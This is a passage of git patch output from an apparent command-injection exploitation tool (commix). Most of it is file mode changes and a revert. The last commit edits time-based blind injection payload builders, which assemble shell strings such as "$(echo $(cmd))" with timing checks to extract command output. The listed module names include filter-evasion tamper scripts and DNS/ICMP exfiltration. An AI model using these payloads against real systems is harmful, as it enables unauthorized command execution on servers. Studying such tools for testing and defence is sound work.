src/core/__init__.py mode change 100644 => 100755 src/core/compat.py mode change 100644 => 100755 src/core/convert.py mode change 100644 => 100755 src/core/injections/__init__.py mode change 100644 => 100755 src/core/injections/blind/__init__.py mode change 100644 => 100755 src/core/injections/blind/techniques/__init__.py mode change 100644 => 100755 src/core/injections/blind/techniques/time_based/__init__.py mode change 100644 => 100755 src/core/injections/controller/__init__.py mode change 100644 => 100755 src/core/injections/controller/controller.py mode change 100644 => 100755 src/core/injections/results_based/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/classic/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/eval_based/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/file_based/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/tempfile_based/__init__.py mode change 100644 => 100755 src/core/main.py mode change 100644 => 100755 src/core/modules/__init__.py mode change 100644 => 100755 src/core/modules/dns_exfiltration/__init__.py mode change 100644 => 100755 src/core/modules/icmp_exfiltration/__init__.py mode change 100644 => 100755 src/core/modules/modules_handler.py mode change 100644 => 100755 src/core/modules/shellshock/__init__.py mode change 100644 => 100755 src/core/requests/__init__.py mode change 100644 => 100755 src/core/requests/authentication.py mode change 100644 => 100755 src/core/requests/proxy.py mode change 100644 => 100755 src/core/requests/tor.py mode change 100644 => 100755 src/core/shells/__init__.py mode change 100644 => 100755 src/core/tamper/__init__.py mode change 100644 => 100755 src/core/tamper/backslashes.py mode change 100644 => 100755 src/core/tamper/backticks.py mode change 100644 => 100755 src/core/tamper/base64encode.py mode change 100644 => 100755 src/core/tamper/caret.py mode change 100644 => 100755 src/core/tamper/dollaratsigns.py mode change 100644 => 100755 src/core/tamper/doublequotes.py mode change 100644 => 100755 src/core/tamper/hexencode.py mode change 100644 => 100755 src/core/tamper/multiplespaces.py mode change 100644 => 100755 src/core/tamper/nested.py mode change 100644 => 100755 src/core/tamper/singlequotes.py mode change 100644 => 100755 src/core/tamper/slash2env.py mode change 100644 => 100755 src/core/tamper/sleep2timeout.py mode change 100644 => 100755 src/core/tamper/sleep2usleep.py mode change 100644 => 100755 src/core/tamper/space2htab.py mode change 100644 => 100755 src/core/tamper/space2ifs.py mode change 100644 => 100755 src/core/tamper/space2plus.py mode change 100644 => 100755 src/core/tamper/space2vtab.py mode change 100644 => 100755 src/core/tamper/uninitializedvariable.py mode change 100644 => 100755 src/core/tamper/xforwardedfor.py mode change 100644 => 100755 src/core/testing.py mode change 100644 => 100755 src/thirdparty/__init__.py mode change 100644 => 100755 src/thirdparty/beautifulsoup/__init__.py mode change 100644 => 100755 src/thirdparty/beautifulsoup/beautifulsoup.py mode change 100644 => 100755 src/thirdparty/colorama/__init__.py mode change 100644 => 100755 src/thirdparty/colorama/ansi.py mode change 100644 => 100755 src/thirdparty/colorama/ansitowin32.py mode change 100644 => 100755 src/thirdparty/colorama/initialise.py mode change 100644 => 100755 src/thirdparty/colorama/win32.py mode change 100644 => 100755 src/thirdparty/colorama/winterm.py mode change 100644 => 100755 src/thirdparty/flatten_json/__init__.py mode change 100644 => 100755 src/thirdparty/flatten_json/flatten_json.py mode change 100644 => 100755 src/thirdparty/odict/__init__.py mode change 100644 => 100755 src/thirdparty/six/__init__.py mode change 100644 => 100755 src/txt/passwords_john.txt mode change 100644 => 100755 src/txt/shocker-cgi_list.txt mode change 100644 => 100755 src/txt/usernames.txt mode change 100644 => 100755 src/utils/__init__.py mode change 100644 => 100755 src/utils/colors.py mode change 100644 => 100755 src/utils/common.py mode change 100644 => 100755 src/utils/crawler.py mode change 100644 => 100755 src/utils/install.py mode change 100644 => 100755 src/utils/purge.py mode change 100644 => 100755 src/utils/requirments.py mode change 100644 => 100755 src/utils/sgmllib.py mode change 100644 => 100755 src/utils/simple_http_server.py mode change 100644 => 100755 src/utils/version.py diff --git a/COMMITMENT.txt b/COMMITMENT.txt old mode 100644 new mode 100755 diff --git a/LICENSE.txt b/LICENSE.txt old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/doc/AUTHOR b/doc/AUTHOR old mode 100644 new mode 100755 diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md old mode 100644 new mode 100755 diff --git a/setup.py b/setup.py old mode 100644 new mode 100755 diff --git a/src/__init__.py b/src/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/__init__.py b/src/core/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/compat.py b/src/core/compat.py old mode 100644 new mode 100755 diff --git a/src/core/convert.py b/src/core/convert.py old mode 100644 new mode 100755 diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/main.py b/src/core/main.py old mode 100644 new mode 100755 diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py old mode 100644 new mode 100755 diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py old mode 100644 new mode 100755 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py old mode 100644 new mode 100755 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py old mode 100644 new mode 100755 diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py old mode 100644 new mode 100755 diff --git a/src/core/testing.py b/src/core/testing.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py old mode 100644 new mode 100755 diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt old mode 100644 new mode 100755 diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt old mode 100644 new mode 100755 diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt old mode 100644 new mode 100755 diff --git a/src/utils/__init__.py b/src/utils/__init__.py old mode 100644 new mode 100755 diff --git a/src/utils/colors.py b/src/utils/colors.py old mode 100644 new mode 100755 diff --git a/src/utils/common.py b/src/utils/common.py old mode 100644 new mode 100755 diff --git a/src/utils/crawler.py b/src/utils/crawler.py old mode 100644 new mode 100755 diff --git a/src/utils/install.py b/src/utils/install.py old mode 100644 new mode 100755 diff --git a/src/utils/purge.py b/src/utils/purge.py old mode 100644 new mode 100755 diff --git a/src/utils/requirments.py b/src/utils/requirments.py old mode 100644 new mode 100755 diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py old mode 100644 new mode 100755 diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py old mode 100644 new mode 100755 diff --git a/src/utils/version.py b/src/utils/version.py old mode 100644 new mode 100755 From 8e499e9fe62e57f2d509c8c52b95f6cca32eafe4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 18:38:12 +0200 Subject: [PATCH 0050/1023] Revert "Refresh" This reverts commit 11976cfeb714056890c76555dc8ea73e2d96c36c. --- COMMITMENT.txt | 0 LICENSE.txt | 0 README.md | 0 doc/AUTHOR | 0 doc/translations/README-gr-GR.md | 0 setup.py | 0 src/__init__.py | 0 src/core/__init__.py | 0 src/core/compat.py | 0 src/core/convert.py | 0 src/core/injections/__init__.py | 0 src/core/injections/blind/__init__.py | 0 src/core/injections/blind/techniques/__init__.py | 0 src/core/injections/blind/techniques/time_based/__init__.py | 0 src/core/injections/controller/__init__.py | 0 src/core/injections/controller/controller.py | 0 src/core/injections/results_based/__init__.py | 0 src/core/injections/results_based/techniques/__init__.py | 0 src/core/injections/results_based/techniques/classic/__init__.py | 0 .../injections/results_based/techniques/eval_based/__init__.py | 0 src/core/injections/semiblind/__init__.py | 0 src/core/injections/semiblind/techniques/__init__.py | 0 src/core/injections/semiblind/techniques/file_based/__init__.py | 0 .../injections/semiblind/techniques/tempfile_based/__init__.py | 0 src/core/main.py | 0 src/core/modules/__init__.py | 0 src/core/modules/dns_exfiltration/__init__.py | 0 src/core/modules/icmp_exfiltration/__init__.py | 0 src/core/modules/modules_handler.py | 0 src/core/modules/shellshock/__init__.py | 0 src/core/requests/__init__.py | 0 src/core/requests/authentication.py | 0 src/core/requests/proxy.py | 0 src/core/requests/tor.py | 0 src/core/shells/__init__.py | 0 src/core/tamper/__init__.py | 0 src/core/tamper/backslashes.py | 0 src/core/tamper/backticks.py | 0 src/core/tamper/base64encode.py | 0 src/core/tamper/caret.py | 0 src/core/tamper/dollaratsigns.py | 0 src/core/tamper/doublequotes.py | 0 src/core/tamper/hexencode.py | 0 src/core/tamper/multiplespaces.py | 0 src/core/tamper/nested.py | 0 src/core/tamper/singlequotes.py | 0 src/core/tamper/slash2env.py | 0 src/core/tamper/sleep2timeout.py | 0 src/core/tamper/sleep2usleep.py | 0 src/core/tamper/space2htab.py | 0 src/core/tamper/space2ifs.py | 0 src/core/tamper/space2plus.py | 0 src/core/tamper/space2vtab.py | 0 src/core/tamper/uninitializedvariable.py | 0 src/core/tamper/xforwardedfor.py | 0 src/core/testing.py | 0 src/thirdparty/__init__.py | 0 src/thirdparty/beautifulsoup/__init__.py | 0 src/thirdparty/beautifulsoup/beautifulsoup.py | 0 src/thirdparty/colorama/__init__.py | 0 src/thirdparty/colorama/ansi.py | 0 src/thirdparty/colorama/ansitowin32.py | 0 src/thirdparty/colorama/initialise.py | 0 src/thirdparty/colorama/win32.py | 0 src/thirdparty/colorama/winterm.py | 0 src/thirdparty/flatten_json/__init__.py | 0 src/thirdparty/flatten_json/flatten_json.py | 0 src/thirdparty/odict/__init__.py | 0 src/thirdparty/six/__init__.py | 0 src/txt/passwords_john.txt | 0 src/txt/shocker-cgi_list.txt | 0 src/txt/usernames.txt | 0 src/utils/__init__.py | 0 src/utils/colors.py | 0 src/utils/common.py | 0 src/utils/crawler.py | 0 src/utils/install.py | 0 src/utils/purge.py | 0 src/utils/requirments.py | 0 src/utils/sgmllib.py | 0 src/utils/simple_http_server.py | 0 src/utils/version.py | 0 82 files changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 COMMITMENT.txt mode change 100755 => 100644 LICENSE.txt mode change 100755 => 100644 README.md mode change 100755 => 100644 doc/AUTHOR mode change 100755 => 100644 doc/translations/README-gr-GR.md mode change 100755 => 100644 setup.py mode change 100755 => 100644 src/__init__.py mode change 100755 => 100644 src/core/__init__.py mode change 100755 => 100644 src/core/compat.py mode change 100755 => 100644 src/core/convert.py mode change 100755 => 100644 src/core/injections/__init__.py mode change 100755 => 100644 src/core/injections/blind/__init__.py mode change 100755 => 100644 src/core/injections/blind/techniques/__init__.py mode change 100755 => 100644 src/core/injections/blind/techniques/time_based/__init__.py mode change 100755 => 100644 src/core/injections/controller/__init__.py mode change 100755 => 100644 src/core/injections/controller/controller.py mode change 100755 => 100644 src/core/injections/results_based/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/classic/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/eval_based/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/file_based/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/tempfile_based/__init__.py mode change 100755 => 100644 src/core/main.py mode change 100755 => 100644 src/core/modules/__init__.py mode change 100755 => 100644 src/core/modules/dns_exfiltration/__init__.py mode change 100755 => 100644 src/core/modules/icmp_exfiltration/__init__.py mode change 100755 => 100644 src/core/modules/modules_handler.py mode change 100755 => 100644 src/core/modules/shellshock/__init__.py mode change 100755 => 100644 src/core/requests/__init__.py mode change 100755 => 100644 src/core/requests/authentication.py mode change 100755 => 100644 src/core/requests/proxy.py mode change 100755 => 100644 src/core/requests/tor.py mode change 100755 => 100644 src/core/shells/__init__.py mode change 100755 => 100644 src/core/tamper/__init__.py mode change 100755 => 100644 src/core/tamper/backslashes.py mode change 100755 => 100644 src/core/tamper/backticks.py mode change 100755 => 100644 src/core/tamper/base64encode.py mode change 100755 => 100644 src/core/tamper/caret.py mode change 100755 => 100644 src/core/tamper/dollaratsigns.py mode change 100755 => 100644 src/core/tamper/doublequotes.py mode change 100755 => 100644 src/core/tamper/hexencode.py mode change 100755 => 100644 src/core/tamper/multiplespaces.py mode change 100755 => 100644 src/core/tamper/nested.py mode change 100755 => 100644 src/core/tamper/singlequotes.py mode change 100755 => 100644 src/core/tamper/slash2env.py mode change 100755 => 100644 src/core/tamper/sleep2timeout.py mode change 100755 => 100644 src/core/tamper/sleep2usleep.py mode change 100755 => 100644 src/core/tamper/space2htab.py mode change 100755 => 100644 src/core/tamper/space2ifs.py mode change 100755 => 100644 src/core/tamper/space2plus.py mode change 100755 => 100644 src/core/tamper/space2vtab.py mode change 100755 => 100644 src/core/tamper/uninitializedvariable.py mode change 100755 => 100644 src/core/tamper/xforwardedfor.py mode change 100755 => 100644 src/core/testing.py mode change 100755 => 100644 src/thirdparty/__init__.py mode change 100755 => 100644 src/thirdparty/beautifulsoup/__init__.py mode change 100755 => 100644 src/thirdparty/beautifulsoup/beautifulsoup.py mode change 100755 => 100644 src/thirdparty/colorama/__init__.py mode change 100755 => 100644 src/thirdparty/colorama/ansi.py mode change 100755 => 100644 src/thirdparty/colorama/ansitowin32.py mode change 100755 => 100644 src/thirdparty/colorama/initialise.py mode change 100755 => 100644 src/thirdparty/colorama/win32.py mode change 100755 => 100644 src/thirdparty/colorama/winterm.py mode change 100755 => 100644 src/thirdparty/flatten_json/__init__.py mode change 100755 => 100644 src/thirdparty/flatten_json/flatten_json.py mode change 100755 => 100644 src/thirdparty/odict/__init__.py mode change 100755 => 100644 src/thirdparty/six/__init__.py mode change 100755 => 100644 src/txt/passwords_john.txt mode change 100755 => 100644 src/txt/shocker-cgi_list.txt mode change 100755 => 100644 src/txt/usernames.txt mode change 100755 => 100644 src/utils/__init__.py mode change 100755 => 100644 src/utils/colors.py mode change 100755 => 100644 src/utils/common.py mode change 100755 => 100644 src/utils/crawler.py mode change 100755 => 100644 src/utils/install.py mode change 100755 => 100644 src/utils/purge.py mode change 100755 => 100644 src/utils/requirments.py mode change 100755 => 100644 src/utils/sgmllib.py mode change 100755 => 100644 src/utils/simple_http_server.py mode change 100755 => 100644 src/utils/version.py diff --git a/COMMITMENT.txt b/COMMITMENT.txt old mode 100755 new mode 100644 diff --git a/LICENSE.txt b/LICENSE.txt old mode 100755 new mode 100644 diff --git a/README.md b/README.md old mode 100755 new mode 100644 diff --git a/doc/AUTHOR b/doc/AUTHOR old mode 100755 new mode 100644 diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md old mode 100755 new mode 100644 diff --git a/setup.py b/setup.py old mode 100755 new mode 100644 diff --git a/src/__init__.py b/src/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/__init__.py b/src/core/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/compat.py b/src/core/compat.py old mode 100755 new mode 100644 diff --git a/src/core/convert.py b/src/core/convert.py old mode 100755 new mode 100644 diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/main.py b/src/core/main.py old mode 100755 new mode 100644 diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py old mode 100755 new mode 100644 diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py old mode 100755 new mode 100644 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py old mode 100755 new mode 100644 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py old mode 100755 new mode 100644 diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py old mode 100755 new mode 100644 diff --git a/src/core/testing.py b/src/core/testing.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py old mode 100755 new mode 100644 diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt old mode 100755 new mode 100644 diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt old mode 100755 new mode 100644 diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt old mode 100755 new mode 100644 diff --git a/src/utils/__init__.py b/src/utils/__init__.py old mode 100755 new mode 100644 diff --git a/src/utils/colors.py b/src/utils/colors.py old mode 100755 new mode 100644 diff --git a/src/utils/common.py b/src/utils/common.py old mode 100755 new mode 100644 diff --git a/src/utils/crawler.py b/src/utils/crawler.py old mode 100755 new mode 100644 diff --git a/src/utils/install.py b/src/utils/install.py old mode 100755 new mode 100644 diff --git a/src/utils/purge.py b/src/utils/purge.py old mode 100755 new mode 100644 diff --git a/src/utils/requirments.py b/src/utils/requirments.py old mode 100755 new mode 100644 diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py old mode 100755 new mode 100644 diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py old mode 100755 new mode 100644 diff --git a/src/utils/version.py b/src/utils/version.py old mode 100755 new mode 100644 From ef9ae8ef18a9dd043f822a3e7e5d28b37cf7c401 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Jan 2022 09:32:45 +0200 Subject: [PATCH 0051/1023] Fixes https://github.com/commixproject/commix/issues/730 --- .../blind/techniques/time_based/tb_payloads.py | 16 ++++++++-------- .../techniques/tempfile_based/tfb_payloads.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index e2a27a57c4..5dab6f2186 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -56,7 +56,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. @@ -132,7 +132,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Find the length of the output, using readline(). "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + @@ -210,7 +210,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + # Find the length of the output. @@ -284,7 +284,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque ) elif separator == "%0a" : - separator = "\n" + #separator = 